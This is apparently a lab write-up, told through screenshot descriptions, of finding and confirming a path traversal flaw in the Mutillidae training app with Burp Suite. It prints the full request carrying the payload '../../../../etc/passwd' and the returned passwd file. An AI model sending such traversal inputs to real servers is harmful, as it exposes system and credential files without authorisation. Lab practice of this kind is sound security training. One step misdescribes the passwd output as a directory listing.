

Step 1 Vulnerability Scan

The screenshot shows the Burp Suite interface with the 'Alerts' tab selected. A list of alerts is shown on the left, with 'Path Traversal (11)' highlighted. The main panel displays the details of the selected alert, including the URL, risk level (High), confidence (Medium), and a description of the Path Traversal attack technique. The description states: 'The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal.'

Step2 Vulnerability Verification

The screenshot shows the Burp Suite interface with the 'Request' tab selected. The 'Request' panel displays the HTTP request and response. The response is a 200 OK status with a 'Content-Type: text/html' header. The body of the response shows a directory listing of the web server's root directory, including files like 'bin', 'sbin', 'dev', 'sync', 'games', 'man', 'lp', 'mail', 'news', 'uucp', 'proxy', 'www-data', 'backup', 'list', 'ircd', 'gnats', 'nobody', 'libuuid', 'dhcpcd', 'syslog', 'klog', 'sshd', 'msfadmin', 'bind', 'postfix', 'ftp', 'postgres', 'mysql', 'tomcat', 'distccd', 'user', 'service', 'telnetd', 'proftpd', 'statd', 'snmp', and 'gordonb'. The listing shows the permissions, owner, group, size, and modification date for each file and directory.

Step 3 Path Traversal Verification with Burp Suite

The screenshot displays the Burp Suite interface with a target set to `http://172.17.0.2`. The main window shows a captured HTTP request and its corresponding response.

Request:

```
1 POST /mutillidae/index.php?page=text-file-viewer.php
2 HTTP/1.1
3 Host: 172.17.0.2
4 Content-Length: 81
5 Cache-Control: max-age=0
6 Upgrade-Insecure-Requests: 1
7 Origin: http://172.17.0.2
8 Content-Type: application/x-www-form-urlencoded
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/115.0.5790.171 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Referer: http://172.17.0.2/mutillidae/?page=text-file-viewer.php
12 Accept-Encoding: gzip, deflate
13 Accept-Language: en-US,en;q=0.9
14 Cookie: PHPSESSID=8372336dbdcaaf8f6ee19c009550a3
15 Connection: close
16 textfile=../../../../etc/passwd&
  text-file-viewer-php-submit-button=View+File
```

Response:

```
556 <table>
557 </table>
558
559 <p class="label">File: ../../etc/passwd</p><pre>
560 root:x:0:0:root:/root:/bin/bash
561 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
562 bin:x:2:2:bin:/bin:/bin/sh
563 sys:x:3:3:sys:/dev:/bin/sh
564 sync:x:4:65534:sync:/bin:/bin/sync
565 games:x:5:60:games:/usr/games:/bin/sh
566 man:x:6:12:man:/var/cache/man:/bin/sh
567 lp:x:7:7:lp:/var/spool/lpd:/bin/sh
568 mail:x:8:8:mail:/var/mail:/bin/sh
569 news:x:9:9:news:/var/spool/news:/bin/sh
570 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
571 proxy:x:13:13:proxy:/bin:/bin/sh
572 www-data:x:33:33:www-data:/var/www:/bin/sh
573 backup:x:34:34:backup:/var/backups:/bin/sh
574 list:x:38:38:Mail list Manager:/var/list:/bin/sh
575 irc:x:39:39:ircd:/var/run/ircd:/bin/sh
576 gnats:x:41:41:Gnats Bug-Reporting System
  (admin):/var/lib/gnats:/bin/sh
577 nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
578 libuid:x:100:101:/var/lib/libuid:/bin/sh
579 dhcpcd:x:101:102:/nonexistent:/bin/false
580 syslog:x:102:103:/home/syslog:/bin/false
581 klogd:x:103:104:/home/klogd:/bin/false
582 sshd:x:104:65534:/var/run/sshd:/usr/sbin/nologin
583 msfadmin:x:1000:1000:msfadmin,,:/home/msfadmin:/bin/ba
  sh
584 bind:x:105:113:/var/cache/bind:/bin/false
585 postfix:x:106:115:/var/spool/postfix:/bin/false
586 ftp:x:107:65534:/home/ftp:/bin/false
587 postgres:x:108:117:PostgreSQL
  administrator,,:/var/lib/postgresql:/bin/bash
588 mysql:x:109:118:MySQL
  Server,,:/var/lib/mysql:/bin/false
589 tomcat55:x:110:65534:/usr/share/tomcat5.5:/bin/false
590 distccd:x:111:65534:/bin/false
591 user:x:1001:1001:just a user,l1l,,:/home/user:/bin/bash
592 service:x:1002:1002,,:/home/service:/bin/bash
593 telnetd:x:112:120:/nonexistent:/bin/false
594 proftpd:x:113:65534:/var/run/proftpd:/bin/false
595 statd:x:114:65534:/var/lib/nfs:/bin/false
596 snmp:x:115:65534:/var/lib/snmp:/bin/false
597 gordonb:x:1004:1004:/home/gordonb:/bin/bash
598 </pre>
```

The **Inspector** panel on the right shows the request body parameters:

Name	Value
textfile	../../../../etc/passwd

The status bar at the bottom indicates "Done" and "25,851 bytes | 48 millis".